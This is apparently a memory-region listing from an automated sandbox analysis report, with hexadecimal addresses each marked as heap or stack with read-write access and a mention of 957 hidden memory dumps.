heap
page read and write
819000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
3B97000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
80A000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
80B000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
5548000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
80F000
heap
page read and write
814000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
7FB000
heap
page read and write
833000
heap
page read and write
80F000
heap
page read and write
80F000
heap
page read and write
818000
heap
page read and write
816000
heap
page read and write
80F000
heap
page read and write
816000
heap
page read and write
818000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
3BDC000
heap
page read and write
7FB000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
3AE0000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
10B9000
stack
page read and write
816000
heap
page read and write
825000
heap
page read and write
815000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
54F7000
heap
page read and write
80A000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
There are 957 hidden memdumps, click here to show them.